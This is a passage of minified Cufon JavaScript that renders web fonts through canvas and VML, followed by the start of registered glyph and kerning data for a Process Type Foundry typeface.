function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 2004 Process Type Foundry. All rights reserved.
 * 
 * Trademark:
 * Please refer to the Copyright section for the font trademark attribution
 * notices.
 * 
 * Designer:
 * Eric Olson
 * 
 * Vendor URL:
 * http://www.processtypefoundry.com
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"59,0r-30,0r0,-247r30,-4r0,251","w":87},{"d":"50,-159r-25,0r0,-88r25,0r0,88xm110,-159r-25,0r0,-88r25,0r0,88","w":135},{"d":"86,-179v100,0,58,100,67,179r-26,0r-1,-13v-34,27,-104,25,-104,-34v0,-55,49,-50,101,-49v1,-35,3,-57,-38,-57v-17,0,-39,3,-53,6r-3,-24v17,-4,38,-8,57,-8xm123,-37r0,-34v-28,3,-74,-11,-70,23v-5,41,51,26,70,11","w":177,"k":{"x":-4,"\\":2,")":4,"w":-3}},{"d":"124,-210v-70,-3,-71,27,-69,85v51,-18,125,-8,110,61v0,42,-12,68,-70,68v-97,0,-63,-81,-70,-159v-6,-74,61,-90,134,-77r-3,25v-9,-2,-23,-3,-32,-3xm135,-76v0,-42,-56,-33,-80,-21v-1,40,-6,74,40,74v40,0,40,-18,40,-53","w":184,"k":{"}":-7,"]":-4,"\\":-2,"9":3,"5":1,"2":1,"1":2,"\/":7,")":-4}},{"d":"87,-215r-12,18v-18,-10,-33,-19,-50,-31r13,-20v13,10,31,23,49,33","w":112},{"d":"60,-23v70,4,71,-26,69,-85v-50,19,-124,9,-109,-60v0,-42,12,-68,69,-68v97,0,63,81,70,158v7,75,-62,92,-134,77r3,-25v9,2,23,3,32,3xm50,-157v0,42,54,33,79,22v1,-40,6,-75,-40,-75v-40,0,-39,19,-39,53","w":184,"k":{"}":2,"\\":2,"9":2,"7":2,"6":2,"5":2,"3":2,"2":2,"\/":9,")":4,",":7,".":7}},{"d":"63,-198r-46,26r-13,-24r63,-37r27,0r0,233r-31,0r0,-198","w":126,"k":{"\\":-9,"7":-5}},{"d":"127,-249r-2,23v-23,-4,-58,-10,-53,21r0,30r50,0r-2,25r-48,0r0,150r-30,0r0,-150r-31,0r0,-25r31,0v-3,-46,3,-81,49,-79v12,0,24,1,36,5","w":127,"k":{"v":-4,"x":-4,"\/":14,"\\":-16,")":-13,"}":-16,"?":-13,"!":-7,"*":-18,"d":2,"g":2,"q":2,"]":-22,"@":-7,"e":4,"o":4,"y":-4,",":31,".":31,":":4,";":4,"-":9,"c":3,"a":4,"w":-5,"s":4}},{"d":"88,4v-81,2,-70,-52,-70,-119v0,-40,15,-64,70,-64v15,0,33,2,42,5r-3,26v-36,-7,-82,-10,-79,32v3,44,-14,93,41,93v12,0,24,-1,38,-4r3,25v-9,3,-27,6,-42,6","w":147,"k":{"}":-7,"x":-2,"v":-1,"]":-7,"\/":-2,")":-2,"e":1,"o":1,"w":-1,"-":2,"y":-1}},{"d":"22,-75r0,-25r59,0r0,-61r27,0r0,61r60,0r0,25r-60,0r0,61r-27,0r0,-61r-59,0","w":189,"k":{"}":14,"]":4,")":11}},{"d":"25,-108r0,-22r133,0r0,22r-133,0xm25,-44r0,-22r133,0r0,22r-133,0","w":183},{"d":"31,-240r31,0r0,241v0,28,-5,31,-46,70r-19,-22v33,-32,34,-32,34,-49r0,-240"},{"d":"165,0r-105,-204r0,204r-29,0r0,-240r42,0r104,205r0,-205r30,0r0,240r-42,0","w":237},{"w":77},{"d":"111,42r-89,-285r28,0r89,285r-28,0","w":158,"k":{"v":9,"p":-4,"j":-11,"g":-7,"d":4,"X":5,"V":27,"Q":7,"M":4,"9":7,"8":7,"7":11,"6":11,"5":5,"4":13,"3":4,"2":5,"1":20,"0":11,"C":7,"G":7,"J":-14,"O":7,"S":7,"T":27,"W":23,"Y":31,"a":2,"c":4,"e":4,"f":7,"o":4,"s":2,"t":4,"u":2,"w":5,"y":4,"U":11}},{"d":"207,0r-39,0r-43,-149r-42,149r-39,0r-38,-175r29,0r29,145r43,-145r37,0r42,145r29,-145r29,0","w":250,"k":{"v":-4,"x":-2,"\/":5,"\\":-2,")":2,"*":-7,"y":-4,"f":-1,",":11,".":11,":":4,";":4,"t":-2,"a":2,"w":-4}},{"d":"171,-62v0,42,-12,66,-78,66v-23,0,-50,-5,-71,-13r5,-25v38,11,113,26,113,-27v0,-32,-1,-36,-50,-47v-58,-13,-64,-23,-64,-73v0,-42,17,-62,76,-62v21,0,46,3,65,8r-2,26v-37,-6,-108,-23,-108,29v0,33,-1,34,47,46v64,16,67,25,67,72","w":194,"k":{"}":-5,"\\":-5,"\/":5,"A":1,"a":1,"e":2,"t":1,"u":2,"y":2}},{"d":"183,-213r-124,186r126,0r0,27r-160,0r0,-27r124,-186r-122,0r0,-27r156,0r0,27","w":208,"k":{"v":4,"q":5,"g":4,"d":5,"Q":4,")":-5,"C":3,"G":3,"O":4,"a":4,"c":5,"e":7,"o":7,"t":4,"u":4,"w":2,"-":25,"y":5}},{"d":"77,45r-70,0r0,-26r40,0r0,-277r-40,0r0,-26r70,0r0,329","w":111},{"d":"62,-240r0,240r-31,0r0,-240r31,0xm192,-240r-88,118r95,122r-37,0r-93,-122r87,-118r36,0","w":211,"k":{"}":-5,"x":-2,"v":13,"q":9,"p":2,"m":2,"g":8,"d":9,"]":-5,"X":-2,"Q":11,"@":16,"\/":-2,")":-2,"A":-4,"C":10,"G":10,"O":11,"n":2,"a":9,"c":9,"e":10,"o":10,"s":5,"t":5,"u":9,"w":5,",":-2,".":-2,":":4,";":4,"-":36,"y":11,"U":4}},{"d":"50,-76v-1,35,1,55,42,54v17,0,36,-4,55,-9r4,25v-17,6,-40,10,-62,10v-75,1,-70,-51,-69,-117v0,-36,17,-66,69,-66v68,0,67,45,65,103r-104,0xm89,-154v-34,0,-41,20,-39,53r75,0v1,-32,-2,-54,-36,-53","w":173,"k":{"}":-2,"x":-1,"v":1,"]":-9,"\\":2,"a":1,"-":-2,"y":1}},{"d":"162,-113v0,67,2,117,-71,117v-73,0,-71,-50,-71,-117v0,-37,20,-66,71,-66v51,0,71,29,71,66xm132,-61v0,-45,8,-92,-41,-92v-49,0,-41,47,-41,92v0,26,14,38,41,38v27,0,41,-12,41,-38","w":182,"k":{"v":2,"\/":5,"\\":2,")":5,"}":4,"]":2,",":4,".":4}},{"d":"93,-104v-14,-1,-25,2,-24,15v-6,55,23,144,-42,140r-23,0r0,-25v17,0,35,4,35,-15r0,-87v0,-11,-2,-40,24,-41v-26,-1,-24,-30,-24,-41r0,-86v2,-19,-18,-15,-35,-15r0,-25v42,-3,65,4,65,47r0,93v-1,13,9,16,24,15r0,25","w":112},{"d":"18,0r0,-28v28,-40,110,-102,101,-152v9,-42,-69,-28,-96,-21r-4,-26v15,-5,39,-9,60,-9v59,1,70,20,70,64v0,45,-67,109,-94,145r97,0r0,27r-134,0","w":174,"k":{"}":-4,"\\":2,"7":-3,"4":12,"3":-2,"\/":-2,"-":7}},{"d":"57,-284r0,360r-21,0r0,-360r21,0"},{"d":"115,-179v63,0,47,67,51,125v4,56,-57,67,-107,52r0,73r-30,4r0,-250r25,0r3,16v14,-12,35,-20,58,-20xm59,-131r0,103v35,5,81,16,77,-26v-3,-37,18,-99,-27,-98v-17,0,-37,9,-50,21","w":188,"k":{"}":2,"\\":5,"\/":5,")":4}},{"d":"104,45r-70,0r0,-329r70,0r0,26r-40,0r0,277r40,0r0,26","w":111,"k":{"x":-4,"p":-7,"j":-20,"g":-5,"X":-5,"V":-4,"Q":4,"@":5,"7":-5,"6":4,"4":5,"3":-4,"2":-4,"1":2,"+":4,"*":2,"%":2,"#":4,"A":2,"C":4,"G":4,"J":-14,"O":4,"S":2,"T":-5,"W":-5,"Y":-2,"o":2,",":4,".":4,"-":11,"z":-4}},{"d":"59,0r-30,0r0,-247r30,-4r0,251xm129,-175r34,0r-62,86r65,89r-35,0r-64,-89","w":174,"k":{"x":-4,"v":-2,"d":1,"\\":4,"a":1,"c":2,"e":3,"o":3,"w":-2,"-":16,"y":-2}},{"d":"165,-175r0,17r-21,4v26,51,-2,118,-77,102v-11,6,-22,27,-1,29v38,4,100,1,93,47v13,60,-86,57,-140,42r4,-24v29,8,118,18,108,-17v0,-41,-107,1,-107,-55v0,-13,8,-24,17,-31v-43,-29,-36,-128,44,-118v24,2,52,6,80,4xm125,-111v0,-30,-8,-44,-40,-43v-32,0,-40,13,-40,43v0,27,11,35,40,35v29,0,40,-12,40,-35","w":176,"k":{"}":-11,"x":-5,"v":-5,"j":-9,"]":-13,"\\":-4,"\/":-5,"*":-9,")":-4,"w":-4,",":4,".":4,"y":-5}},{"d":"165,0r-30,0r0,-134v0,-12,-6,-16,-17,-16v-13,0,-40,8,-59,18r0,132r-30,0r0,-175r24,0r3,15v36,-19,109,-38,109,26r0,134","w":191,"k":{"\\":2}},{"d":"105,-179r4,28v-17,8,-36,20,-50,30r0,121r-30,0r0,-175r26,0r2,24v13,-10,31,-21,48,-28","w":110,"k":{"}":-9,"x":-4,"v":-8,"]":-11,"\\":-4,"\/":4,"*":-9,")":-4,"a":1,"c":-1,"e":-1,"f":-2,"t":-3,"w":-7,",":18,".":18,":":2,";":2,"-":2,"y":-8}},{"d":"29,-175r30,0r0,186v0,25,-3,29,-41,62r-18,-22v29,-26,29,-27,29,-42r0,-184xm59,-203r-30,0r0,-44r30,0r0,44","w":86,"k":{"\/":2}},{"d":"62,-240r0,212r104,0r0,28r-135,0r0,-240r31,0","w":180,"k":{"}":-5,"x":-5,"v":16,"q":1,"d":2,"\\":18,"X":-2,"V":28,"Q":9,"@":7,"?":13,"\/":-5,"*":61,"!":-4,"A":-8,"C":5,"G":5,"O":9,"T":40,"W":22,"Y":38,"a":2,"c":2,"e":2,"f":11,"o":3,"t":8,"u":2,"w":11,",":-4,".":-4,":":4,";":4,"-":50,"y":16,"U":9}},{"d":"145,-124r19,8v-7,22,-20,43,-46,43v-26,0,-39,-26,-56,-26v-14,0,-20,11,-27,27r-19,-9v10,-25,22,-42,46,-42v24,0,38,26,56,26v16,0,22,-13,27,-27","w":180},{"d":"112,-243v107,-1,85,82,87,174v0,34,-19,63,-63,70r20,46r-27,13r-25,-57v-99,-4,-77,-85,-79,-174v0,-40,25,-72,87,-72xm112,-216v-80,0,-56,80,-56,146v0,30,18,46,56,46v80,0,56,-80,56,-146v0,-30,-18,-46,-56,-46","w":223,"k":{"}":4,"]":4,"\\":2,"X":4,"V":5,"\/":9,")":5,"A":4,"T":6,"W":2,"Y":5,",":5,".":5,":":4,";":4}},{"d":"81,-25r48,-150r30,0r-58,175r-40,0r-58,-175r30,0","w":162,"k":{"x":-4,"v":-2,"\/":11,"*":-7,")":4,"a":3,"f":-2,"o":2,"t":-4,"w":-2,",":22,".":22,":":5,";":5,"y":-2}},{"d":"99,-106r62,-134r33,0r-80,168r0,72r-31,0r0,-72r-79,-168r32,0","w":197,"k":{"V":-2,"v":9,"x":13,"Q":5,"\/":31,"\\":-5,")":-5,"}":-5,"?":-5,"*":-5,"d":23,"g":25,"q":23,"]":-2,"m":20,"p":20,"M":2,"C":9,"O":5,"T":-4,"W":-4,"Y":-5,"e":27,"o":27,"y":9,"f":5,"z":22,"G":8,",":47,".":47,":":31,";":31,"-":31,"A":21,"c":25,"t":5,"u":20,"a":23,"w":9,"Z":4,"n":20,"r":22,"s":26,"S":3}},{"d":"149,-147r-21,11r-45,-85r-45,85r-22,-11r54,-100r26,0","w":165},{"d":"114,-179v60,-2,53,60,52,117v0,40,-15,66,-75,66v-16,0,-42,-2,-62,-7r0,-244r30,-4r0,84v12,-6,33,-12,55,-12xm59,-139r0,113v37,8,83,2,77,-35v-6,-37,16,-93,-29,-91v-15,0,-36,7,-48,13","w":186,"k":{"\/":5,")":4,"-":-4}},{"d":"116,-26r4,23v-32,13,-80,12,-80,-33r0,-114r-31,0r0,-25r31,0r0,-44r30,-4r0,48r50,0r-3,25r-47,0r0,109v-3,25,26,20,46,15","w":132,"k":{"}":-7,"x":-4,"v":-2,"]":-4,"\\":-5,"\/":-5,"o":1,"w":-3,"-":7,"y":-2}},{"d":"185,-240r50,210r54,-210r31,0r-63,240r-44,0r-50,-214r-49,214r-44,0r-63,-240r30,0r55,210r50,-210r43,0","w":326,"k":{"V":-4,"x":2,"Q":2,"\/":22,"\\":-7,")":-5,"}":-5,"?":-4,"!":-5,"*":-9,"d":9,"g":9,"q":9,"]":-5,"m":7,"p":7,"C":2,"O":2,"T":-7,"W":-5,"Y":-9,"e":12,"o":12,"y":1,"z":5,"G":2,",":32,".":32,":":20,";":20,"-":13,"A":13,"c":8,"u":6,"a":11,"n":7,"r":8,"s":13}},{"d":"112,-243v107,-1,85,82,87,174v0,40,-25,73,-87,73v-107,0,-86,-83,-87,-175v0,-40,25,-72,87,-72xm112,-216v-80,0,-56,80,-56,146v0,30,18,46,56,46v80,0,56,-80,56,-146v0,-30,-18,-46,-56,-46","w":223,"k":{"V":5,"X":4,"\/":9,"\\":-2,")":5,"}":4,"]":4,"T":6,"W":2,"Y":5,",":5,".":5,":":4,";":4,"A":4,"Z":2}},{"d":"271,0r-31,0r0,-134v0,-12,-5,-16,-16,-16v-14,0,-40,8,-59,18r0,132r-30,0r0,-134v0,-12,-6,-16,-17,-16v-13,0,-40,8,-59,18r0,132r-30,0r0,-175r24,0r3,15v29,-13,88,-35,104,0v38,-19,111,-38,111,26r0,134","w":297,"k":{"\\":2}},{"d":"48,71r24,-71r-12,0r-57,-175r30,0r48,151r48,-151r30,0r-83,246r-28,0","w":161,"k":{"x":-4,"v":-2,"\\":-5,"\/":9,"*":-14,"a":3,"e":1,"f":-2,"t":-4,"w":-2,",